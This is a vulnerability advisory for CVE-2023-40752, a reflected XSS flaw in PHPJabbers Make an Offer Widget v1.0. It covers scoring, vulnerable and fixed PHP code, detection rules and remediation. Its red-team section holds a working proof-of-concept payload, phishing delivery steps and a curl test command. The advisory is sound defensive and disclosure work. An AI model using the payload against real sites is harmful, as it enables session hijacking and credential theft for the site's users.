CVE-2023-40752

Executive Summary

CVE-2023-40752 is a reflected Cross-Site Scripting (XSS) vulnerability discovered in PHPJabbers Make an Offer Widget v1.0. The flaw resides in the action parameter of index.php, allowing unauthenticated attackers to inject arbitrary JavaScript code. Successful exploitation requires user interaction (e.g., clicking a crafted link), but can lead to session hijacking, credential theft, or defacement. The vulnerability is publicly confirmed with a Nuclei template and a CVSS v3.1 score of 6.1 (Medium). No official patch has been released by the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The impact is limited to low confidentiality and integrity loss, but the scope change indicates potential impact on other applications.

Deep Dive & Mechanics

The vulnerability exists in the action parameter of index.php within the PHPJabbers Make an Offer Widget v1.0. The application fails to sanitize or encode user-supplied input before reflecting it in the HTTP response. An attacker can craft a URL with a malicious payload in the action parameter, such as:

/index.php?controller=pjAdmin&action=<img src=x onerror=prompt(document.domain)>

When a victim visits this URL, the browser executes the injected JavaScript. The action parameter is directly embedded in the HTML output without proper escaping, allowing arbitrary script execution. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation).

Vulnerable vs. Patched Code

Vulnerable Code (v1.0): The action parameter is directly echoed into the HTML response without sanitization. Example (conceptual):

$action = $_GET['action'];
echo "<div class='action'>$action</div>";

Patched Code (Hypothetical): Proper sanitization and output encoding would mitigate the vulnerability:

$action = htmlspecialchars($_GET['action'], ENT_QUOTES, 'UTF-8');
echo "<div class='action'>$action</div>";

No official patch has been released by PHPJabbers.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• PHPJabbers Make an Offer Widget v1.0 installed on a target server.
• Victim must click the crafted URL.

Exploit Payload:

http://target.com/index.php?controller=pjAdmin&action=%3Cimg+src%3Dx+onerror%3Dprompt%28document.domain%29%3E

Steps:

1. Craft the malicious URL with the XSS payload URL-encoded.
2. Deliver the link to the victim via phishing email, social engineering, or other means.
3. When the victim clicks the link, the injected JavaScript executes in their browser context.

Example using curl (for testing):

curl -X POST "http://target.com/index.php?controller=pjAdmin&action=%3Cimg+src%3Dx+onerror%3Dprompt%28document.domain%29%3E"

Blue Team (Detection & Mitigation)

Detection:

• Monitor web server logs for requests containing action= with suspicious patterns (e.g., <script, onerror, alert).
• Use WAF rules to block requests with XSS payloads in the action parameter.

Mitigation:

• Apply input validation and output encoding on the action parameter.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Upgrade to a patched version if/when available.

Indicators of Compromise (IOCs)

• URL Pattern: /index.php?controller=pjAdmin&action=<malicious_payload>
• HTTP Request Body: Contains URL-encoded XSS payloads in the action parameter.
• Response Body: Reflects the injected payload (e.g., <img src=x onerror=prompt(document.domain)>).
• Log Entries: GET /index.php?controller=pjAdmin&action=%3Cimg+src%3Dx+onerror%3Dprompt%28document.domain%29%3E HTTP/1.1 with status 200.

Detection Engineering

YARA Rule

rule CVE_2023_40752_XSS_Detection {
    meta:
        description = "Detects XSS attempts targeting CVE-2023-40752 in PHPJabbers Make an Offer Widget"
        author = "Valters IT"
        date = "2025-04-08"
        severity = "medium"
    strings:
        $xss_payload = /action=%3C(script|img|svg|body|input|textarea)[^>]*?(onerror|onload|onclick|onmouseover|prompt|alert|confirm)/
        $url_pattern = /index\.php\?controller=pjAdmin&action=/
    condition:
        $url_pattern and $xss_payload
}

Sigma Rule

title: CVE-2023-40752 XSS Attempt Detection
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with XSS payloads in the action parameter targeting PHPJabbers Make an Offer Widget
author: Valters IT
date: 2025-04-08
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - "controller=pjAdmin&action="
        cs-uri-query|re: 
            - "action=%3C(script|img|svg|body|input|textarea)[^>]*?(onerror|onload|onclick|onmouseover|prompt|alert|confirm)"
    condition: selection
falsepositives:
    - Legitimate use of similar parameters (unlikely)
level: medium
tags:
    - attack.t1190
    - cve.2023.40752

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-40752 XSS Attempt - PHPJabbers Make an Offer Widget";
    flow:to_server,established;
    content:"/index.php"; http_uri;
    content:"controller=pjAdmin"; http_uri;
    content:"action="; http_uri;
    pcre:"/action=%3C(script|img|svg|body|input|textarea)[^>]*?(onerror|onload|onclick|onmouseover|prompt|alert|confirm)/Ui";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    priority:2;
)

Nuclei Template (Provided)

id: CVE-2023-40752

info:
  name: PHPJabbers Make an Offer Widget v1.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    There is a Cross Site Scripting (XSS) vulnerability in the "action" parameter of index.php in PHPJabbers Make an Offer Widget v1.0.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the action parameter, potentially stealing session cookies and executing actions on behalf of users interacting with the Make an Offer Widget.
  remediation: |
    Update PHPJabbers Make an Offer Widget to a version newer than 1.0 that properly sanitizes the action parameter and encodes output to prevent XSS attacks.
  reference:
    - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40752
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-40752
    cwe-id: CWE-79
    epss-score: 0.01268
    epss-percentile: 0.79563
    cpe: cpe:2.3:a:phpjabbers:make_an_offer_widget:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"PHPJabbers"
    fofa-query: body="PHPJabbers"
    vendor: phpjabbers
    product: make_an_offer_widget
  tags: cve,cve2023,phpjabbers,make-an-offer-widget,xss,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php?controller=pjAdmin&action=%3Cimg+src%3Dx+onerror%3Dprompt%28document.domain%29%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=prompt(document.domain)>"
          - "didn't exists"
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize the action parameter using htmlspecialchars() or equivalent.
2. Output Encoding: Encode all user-supplied data before rendering in HTML.
3. WAF Rules: Deploy Web Application Firewall rules to block XSS payloads in the action parameter.
4. CSP Headers: Implement Content Security Policy to restrict script sources.

Long-Term Fix:

• Contact PHPJabbers for an official patch or upgrade to a newer version if available.
• Conduct a security audit of the application for similar vulnerabilities.

Workaround:

• Disable the Make an Offer Widget if not essential until a patch is applied.

Valters IT

{/* [Security Hash: 87B6B4CC9ACE3DA232316B3E] */}